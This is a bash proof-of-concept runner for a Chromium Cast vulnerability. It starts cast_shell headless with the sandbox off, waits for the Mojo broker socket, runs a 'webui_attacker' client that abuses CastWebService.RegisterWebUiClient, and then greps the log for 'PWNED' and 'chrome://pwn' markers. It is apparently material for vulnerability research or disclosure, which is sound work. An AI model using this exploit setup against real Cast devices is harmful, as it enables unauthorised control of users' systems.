#!/bin/bash
# POC runner: starts cast_shell, waits for the broker socket, then runs the
# external attacker client which abuses CastWebService.RegisterWebUiClient.
#
# Prereqs:
#   - apply chromium-changes.patch
#   - gn args out/cast: see args.gn (enable_cast_receiver=true is_castos=true ...)
#   - autoninja -C out/cast cast_shell \
#       chromecast/external_mojo/external_service_support:webui_attacker

set -u
SRC=${SRC:-/chromium/chromium/src}
OUT=${OUT:-$SRC/out/cast}
SOCK=/tmp/cast_mojo_broker
PROFILE=/tmp/cast-poc-profile

rm -f "$SOCK" /tmp/cast_shell.log /tmp/attacker.log
rm -rf "$PROFILE"

echo "=== starting cast_shell ==="
"$OUT/cast_shell" \
  --ozone-platform=headless \
  --no-sandbox --no-wifi --disable-gpu \
  --user-data-dir="$PROFILE" \
  --cast-core-runtime-id=test-runtime \
  --runtime-service-path=unix:/tmp/fake-runtime.sock \
  --enable-logging=stderr \
  >/tmp/cast_shell.log 2>&1 &
CAST_PID=$!
trap 'kill -TERM $CAST_PID 2>/dev/null; wait $CAST_PID 2>/dev/null' EXIT

echo "cast_shell pid=$CAST_PID; waiting for $SOCK ..."
for i in $(seq 1 60); do
  [ -S "$SOCK" ] && break
  if ! kill -0 $CAST_PID 2>/dev/null; then
    echo "!!! cast_shell exited early; log tail:"
    tail -100 /tmp/cast_shell.log
    exit 1
  fi
  sleep 0.5
done
ls -l "$SOCK"
sleep 2

echo "=== running webui_attacker ==="
timeout 30 "$OUT/webui_attacker" 2>&1 | tee /tmp/attacker.log

echo
echo "=== cast_shell log (relevant lines) ==="
grep -iE "PWNED|attacker|BindInterface|Request for|chrome://pwn|chrome.send|LoadUrl" \
  /tmp/cast_shell.log
